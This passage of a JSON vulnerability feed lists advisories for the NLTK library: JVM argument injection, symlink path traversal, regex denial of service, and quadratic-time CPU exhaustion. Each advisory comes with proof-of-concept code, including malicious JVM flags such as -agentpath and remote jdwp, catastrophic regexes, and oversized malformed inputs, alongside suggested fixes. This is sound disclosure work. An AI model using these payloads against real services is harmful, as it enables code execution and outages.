paths.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79674"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/bc007200d123c1a98d74c2eb230f5e06c53886b8"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3736.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-79675","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-m4rf-3fr8-xwx3","CVE-2026-79675","PYSEC-2026-3749"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)","details":"## Vulnerability\n\nThe fix for CVE-2026-12841 (CWE-88, JVM argument injection) added `_validate_java_options()` to block dangerous JVM flags such as `-agentlib`, `-agentpath`, `-javaagent`, `-Xrunjdwp`, and `@argfile` references. However, the validation is only applied when setting global options via `config_java()`. The `java()` function's per-call `options` parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to `subprocess.Popen` without calling `_validate_java_options()`.\n\nAll four Stanford Java wrapper classes accept user-supplied `java_options` and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.\n\n## Root Cause\n\nIn `nltk/internals.py`, the `java()` function (line 128) accepts an `options` keyword argument. When `options` is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:\n\n```python\n# nltk/internals.py, lines 211-217 (HEAD)\nif options is None:\n    java_options = _java_options       # validated by config_java()\nelse:\n    if isinstance(options, str):\n        options = options.split()\n    java_options = list(options)       # NO validation\ncmd = [_java_bin] + java_options + cmd\n```\n\nCompare with `config_java()` (line 92) which does validate:\n\n```python\n# nltk/internals.py, lines 122-123\n_validate_java_options(options)\n_java_options[:] = options\n```\n\nThe four affected wrapper classes store user-supplied `java_options` without validation and pass them through the unvalidated per-call path:\n\n1. `GenericStanfordParser` (`nltk/parse/stanford.py`): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256\n2. `StanfordTagger` (`nltk/tag/stanford.py`): constructor parameter at line 51, stored at line 79, passed at line 118\n3. `StanfordTokenizer` (`nltk/tokenize/stanford.py`): constructor parameter at line 43, stored at line 66, passed at line 109\n4. `StanfordSegmenter` (`nltk/tokenize/stanford_segmenter.py`): constructor parameter at line 68, stored at line 117, passed at line 337\n\n## Proof of Concept\n\n```python\nfrom nltk.internals import config_java, java, _validate_java_options\n\n# 1. The global config_java() path correctly blocks dangerous flags:\ntry:\n    config_java(options=[\"-agentpath:/tmp/evil.so\"])\nexcept ValueError as e:\n    print(f\"config_java blocked: {e}\")   # blocked as expected\n\n# 2. The per-call options path does NOT block them:\n# (Would execute if Java were installed)\n# java([\"SomeClass\"], classpath=\".\", options=[\"-agentpath:/tmp/evil.so\"])\n# This passes \"-agentpath:/tmp/evil.so\" directly to subprocess.Popen\n\n# 3. Stanford wrapper classes pass through without validation:\n# from nltk.parse.stanford import StanfordParser\n# parser = StanfordParser(java_options=\"-agentpath:/tmp/evil.so\")\n# parser.parse(...)  # dangerous flag reaches JVM\n\n# Verify the gap directly:\ndangerous_opts = [\"-agentpath:/tmp/evil.so\"]\ntry:\n    _validate_java_options(dangerous_opts)\n    print(\"Would have been caught\")\nexcept ValueError:\n    print(\"Correctly rejected by _validate_java_options()\")\n\n# But java() itself never calls _validate_java_options():\nimport inspect\nsource = inspect.getsource(java)\nassert \"_validate_java_options\" not in source, \"java() does not validate options\"\nprint(\"Confirmed: java() does not call _validate_java_options()\")\n```\n\n## Impact\n\nAn attacker who controls the `java_options` parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:\n\n- `-agentpath:/path/to/malicious.so` -- loads a native agent, achieving arbitrary code execution\n- `-javaagent:/path/to/malicious.jar` -- loads a Java agent for bytecode manipulation\n- `-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005` -- enables remote debugging, allowing remote code execution\n- `@/path/to/argfile` -- expands an argument file, which can smuggle any of the above\n\nThis is exploitable in scenarios where NLTK is deployed as a service and `java_options` is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover \"StanfordSegmenter, and GenericStanfordParser\" but the implementation only validates in `config_java()`.\n\n## Suggested Fix\n\nAdd `_validate_java_options()` to the `java()` function's per-call options handling:\n\n```python\n# nltk/internals.py, in the java() function\nif options is None:\n    java_options = _java_options\nelse:\n    if isinstance(options, str):\n        options = options.split()\n    java_options = list(options)\n    _validate_java_options(java_options)   # ADD THIS LINE\ncmd = [_java_bin] + java_options + cmd\n```\n\nThis single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of `java(options=...)`.\n\n### AI tooling\n\nAI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-m4rf-3fr8-xwx3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79675"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/8fa9650b6009aacfdebbc33d2a08d32c0858ea6c"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-jvm-argument-injection-via-per-call-options"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-79676","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3737","CVE-2026-79676","GHSA-p4rw-rvv2-7xwr"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement","details":"### Summary\n\nSeveral corpus readers still step outside NLTK's symlink-aware trusted-root model. They derive in-root paths from trusted corpus state, convert those paths back into plain strings, and reopen them with built-in `open()` rather than `nltk.pathsec.open()`.\n\n### Details\n\n- **Vulnerability type:** Path traversal and symlink boundary bypass\n- **Affected component:** `nltk.corpus.reader.ipipan`, `nltk.corpus.reader.crubadan`, `nltk.corpus.reader.lin`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Root-derived paths are reopened with raw `open()` without preserving the trusted-root boundary.\n\n`IPIPANCorpusReader` opens `header.xml` derived from `morph.xml`, `CrubadanCorpusReader` opens `table.txt` directly, and `LinThesaurusCorpusReader` opens `simN.lsp` paths returned from its own root helpers. Under `pathsec.ENFORCE=True`, a symlink placed inside the trusted corpus root can point outside the root and still be parsed successfully. It was confirmed parsed outside-root content is returned through public methods such as `channels()`, `domains()`, `categories()`, `langs()`, `crubadan_to_iso()`, `synonyms()`, and `scored_synonyms()`.\n\n### PoC\n\n**Preconditions**\n- The application processes attacker-influenced corpora inside a trusted NLTK data root or trusted corpus directory.\n\n**Steps**\n1. Create a trusted corpus root and keep `pathsec.ENFORCE=True` with that root allowlisted.\n2. Place symlinked reader inputs such as `header.xml`, `table.txt`, or `simN.lsp` inside the root and point them to external files.\n3. Instantiate the corresponding corpus reader and call its normal public methods.\n4. Observe that parsed outside-root values are returned even though `pathsec.open()` blocks the same symlink targets.\n\n**Minimal reproducible excerpt**\n\n```text\n{'ipipan': ['LEAK', 'TOPSECRET', 'CLASSIFIED'], 'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}\n```\n\n### Impact\n\nAn attacker who can stage corpus files or symlinks under a trusted data root can disclose outside-root content through normal corpus-reader results, defeating the boundary NLTK documents for shared and untrusted-input environments.\n\n### Remediation\n\nPreserve `PathPointer` and `required_root` semantics end to end. Replace direct `open()` calls with `nltk.pathsec.open()` or a reader helper that keeps the trusted-root boundary intact.\n\n### References\n\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/ipipan.py#L162-L192\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/crubadan.py#L74-L98\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/lin.py#L40-L43\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L521-L545\n\n---\n\n## Fix + full-codebase audit (verified)\n\n\nI swept every raw file open in the corpus readers, not just the three the umbrella named:\n\n| Reader | Site | Advisory | Root scoping |\n|---|---|---|---|\n| crubadan | table.txt + `<code>-3grams.txt` | p4rw / j5pw | `required_root=self.root` |\n| lin | simN.lsp | p4rw | `required_root=self.root` |\n| xmldocs | XMLCorpusView bare-string fileid | 934p (base reader) | global fallback (view has no root) |\n| pl196x | textids index | **found by audit** | `required_root=self._root` |\n| mte | MTEFileReader | mvf5 | `required_root` threaded through 8 call sites |\n| toolbox | StandardFormat.open codecs.open | cr8c | global sandbox (low-level parser) |\n| named_entity | load_ace_file ann/text | 7qj2 | global sandbox |\n| nkjp | XML_Tool source file | p4rw class | `required_root=self._root` |\n\n`ipipan` already validates via the earlier #3727 fix — unchanged.\n\n## Fix\nEach site now calls `nltk.pathsec.validate_path(path, required_root=…)` before opening. Where the reader has a concrete corpus root, the check is **scoped** with `required_root` (rejects any escape outside that root). `XMLCorpusView` carries no root, so it falls back to the global data-root sandbox via `getattr(self, \"_root\", None)` — which also avoids an AttributeError on the bare-string path.\n\n## Reproduced (captured)\n```\nraw open(symlink) reads: 'TOPSECRET_OUTSIDE_ROOT'          <- the bypass\nvalidate_path(symlink, required_root): ValueError -> BLOCKS the escape\nvalidate_path(legit in-root): PASSED                       <- loads normally\n```\n\n## Honest residual\nThe global-sandbox fallback (toolbox, named_entity, xmldocs-view) is only as tight as the allowed-roots list, which currently includes the **system temp dir**. Scoping every reader with `required_root` and removing the temp dir from the allowed roots would harden it further (separate advisory / task).\n\n## Tests\n`test_corpus_reader_pathsec.py` — symlink escape rejected, in-root file allowed, XMLCorpusView string-fileid no AttributeError, MTEFileReader out-of-root rejected. 46 existing corpus/toolbox tests pass; all edited modules import (no circular import). pre-commit (black/isort/ruff) clean.\n\n---\n\n## Scope caveat\n`validate_path` blocks every symlink escape variant (verified) and equals `pathsec.open()`'s guarantee, but does NOT block **hardlinks** (no symlink to resolve; tracked separately as GHSA-f794-5jv7-7672) or the validate-then-open TOCTOU race (shared by `pathsec.open`; needs O_NOFOLLOW/openat).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-p4rw-rvv2-7xwr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79676"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/10d34b3f4fe3fec74b76527a409eb0acbac2e8ab"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3737.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-path-traversal-via-symlink-bypass"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-80205","published":"2026-09-03T08:45:01Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3750","CVE-2026-80205","GHSA-rrv8-h7p8-rx55"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":" NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions","details":"### Summary\nNLTK's `Text.findall()` and `TokenSearcher.findall()` methods accept user-supplied regular expressions and pass them to the Python `re` engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the `nltk.text` module and was resolved in a prior commit.\n\n### Affected Code\n`nltk/text.py` — `TokenSearcher.findall()` (line 255) / `Text.findall()` (line 620)\n\n`TokenSearcher.__init__` builds an internal string by wrapping each token in angle brackets. The `findall()` method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:\n\n```python\ndef findall(self, regexp):\n    # Preprocessing does NOT prevent catastrophic backtracking\n    regexp = re.sub(r\"\\s\", \"\", regexp)\n    regexp = re.sub(r\"<\", \"(?:<(?:\", regexp)\n    regexp = re.sub(r\">\", \")>)\", regexp)\n    regexp = re.sub(r\"(?<!\\\\)\\.\", \"[^>]\", regexp)\n\n    # User-controlled regexp executed with no timeout\n    hits = re.findall(regexp, self._raw)\n```\nThe preprocessing transforms `<` and `>` angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.\n\n### Proof of Concept\n```python\nimport nltk\nimport time\n\n# Token of 25 'a' characters produces self._raw = \"<aaaaaaaaaaaaaaaaaaaaaaaa!>\"\n# The trailing '!' ensures no match, forcing full backtracking.\ntext = nltk.Text([\"a\" * 25 + \"!\"])\n\n# Pattern after transformation:\n#   <  →  (?:<(?:\n#   >  →  )>)\n# Becomes: (?:<(?:((a+)+)b)>)\n# re.findall runs this against \"<aaaaaaaaaaaaaaaaaaaaaaaa!>\" — hangs.\n\nstart = time.time()\ntext.findall(r\"<((a+)+)b>\")   # Never returns\n```\n\n### Impact\nApplications that expose `Text.findall()` to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.\n\n### Remediation\nThis vulnerability was patched in commit `d8e4753`. Users should update to the patched version.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80205"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3674"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/d8e47539317b571ab1422981f5b9653d5eae1249"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3750.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/09/01/3"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-80206","published":"2026-09-03T08:45:01Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3751","CVE-2026-80206","GHSA-w3v8-gmh9-3wv7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","details":"### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed – these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81722","published":"2026-09-02T08:43:54Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3738","CVE-2026-81722","GHSA-ww6m-cw3f-q94g"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'","details":"`nltk.stem.PorterStemmer.stem()` -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).\n\n## Root cause\n\n`_is_consonant(word, i)` was made *iterative* (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion `RecursionError` on `'y'*10000`. The iterative form walks *backward* over the whole run of 'y's on every call:\n\n```python\nwhile i > 0 and word[i] == 'y':\n    negate = not negate\n    i -= 1\n```\n\n`_measure()` then calls `_is_consonant(stem, i)` once for **every** position `i` of the stem. For a run of n 'y's that is sum_{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.\n\n## Proof of concept\n\nMeasured (Python 3.13): `stem('y'*5000 + 'ness')` = 2.6s, `stem('y'*10000 + 'ness')` = 11.3s (2x input -> ~4.3x time = quadratic), `stem('y'*20000 + 'ness')` > 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call `_measure` do not fire; a real suffix such as 'ness' triggers `_measure` on the long stem.\n\n```python\nfrom nltk.stem import PorterStemmer\nPorterStemmer().stem('y' * 20000 + 'ness')   # >20s of CPU\n```\n\n## Impact\n\nStemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.\n\n## Fix direction\n\nClassify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every `_is_consonant` call, so `_measure` and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-ww6m-cw3f-q94g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81722"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3738.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-porterstemmer-before-3.10.3-quadratic-time-dos"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81723","published":"2026-09-03T08:45:00Z","modified":"2026-10-29T21:52:04Z","upstream":["GHSA-vp2x-qp44-57v7","CVE-2026-81723","PYSEC-2026-3871"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`","details":"## Summary\n\n`XMLCorpusView._read_xml_fragment()` reads a corpus file in 1 KiB blocks, appending\neach block to a growing `fragment` string, then calls `_VALID_XML_RE.match(fragment)`\non the full accumulated buffer every iteration. Because each iteration rescans the\nentire accumulated fragment, the total amount of work grows quadratically with input\nsize.\n\nCommit `c9c332284` (CWE-1333) made each `match()` call linear. The quadratic behavior\nis separate: the loop calls `match()` once per 1 KiB block, each time on a longer\nbuffer.\n\nOn the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds\nthrough the public `BNCCorpusReader.words()` API with no source modification. Absolute\ntimings vary by hardware. `_read_xml_fragment()` imposes no limit on fragment size or\niteration count.\n\n## Details\n\n**File:** `nltk/corpus/reader/xmldocs.py`  \n**Function:** `XMLCorpusView._read_xml_fragment()`, lines 261–308\n\nThe relevant loop:\n\n```python\nfragment = \"\"\nwhile True:\n    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration\n    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time\n        return fragment\n    ...\n    last_open_bracket = fragment.rfind(\"<\")\n    if last_open_bracket > 0:                      # False for single-'<' payload\n        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):\n            return ...\n    # loop continues\n```\n\nFor a payload of `b'<' + b'a' * (N-1)`:\n\n- For this malformed input, `_VALID_XML_RE.match(fragment)` does not succeed because\n  the unterminated tag prevents the expression from matching before EOF.\n- `fragment.rfind(\"<\")` returns `0`; the guard `last_open_bracket > 0` is `False`, so\n  the backtrack branch is never taken.\n- The only exit is EOF, after all N bytes are consumed.\n\n**Affected readers** -> readers that rely on `XMLCorpusView`, including\n`BNCCorpusReader`, `NPSChatCorpusReader`, `SemcorCorpusReader`, `MTECorpusReader`,\n`NKJPCorpusReader`, `FrameNetCorpusReader`, `VerbNetCorpusReader`, and direct\n`XMLCorpusView` instantiation. `XMLCorpusReader.xml()` is not affected -> it calls\n`defusedxml.safe_parse()`.\n\n## PoC\n\nRequires only `pip install nltk`. No corpus data needed.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom time import perf_counter\nfrom nltk.corpus.reader.bnc import BNCCorpusReader\n\nSIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)\nresults = []\nwith TemporaryDirectory() as directory:\n    root = Path(directory)\n    malformed = root / \"unterminated.xml\"\n    for kib in SIZES_KIB:\n        malformed.write_bytes(b\"<\" + b\"a\" * (kib * 1024 - 1))\n        t = perf_counter()\n        try:\n            list(BNCCorpusReader(str(root), [malformed.name]).words())\n        except ValueError as e:\n            assert \"tag not closed\" in str(e)\n        results.append(perf_counter() - t)\n\nprint(\"KiB      seconds   growth\")\nfor i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):\n    ratio = \"-\" if i == 0 else f\"{elapsed / results[i-1]:.2f}x\"\n    print(f\"{kib:5d}  {elapsed:9.3f}  {ratio}\")\n```\n\nRuntime should increase by approximately fourfold for each doubling of input size,\nalthough absolute timings vary by hardware.\n\nDuring verification, `_VALID_XML_RE.match()` was instrumented to record the size of\neach input. For a 256 KiB malformed file it was invoked 257 times on monotonically\nincreasing buffers (1024, 2048, …, 262144 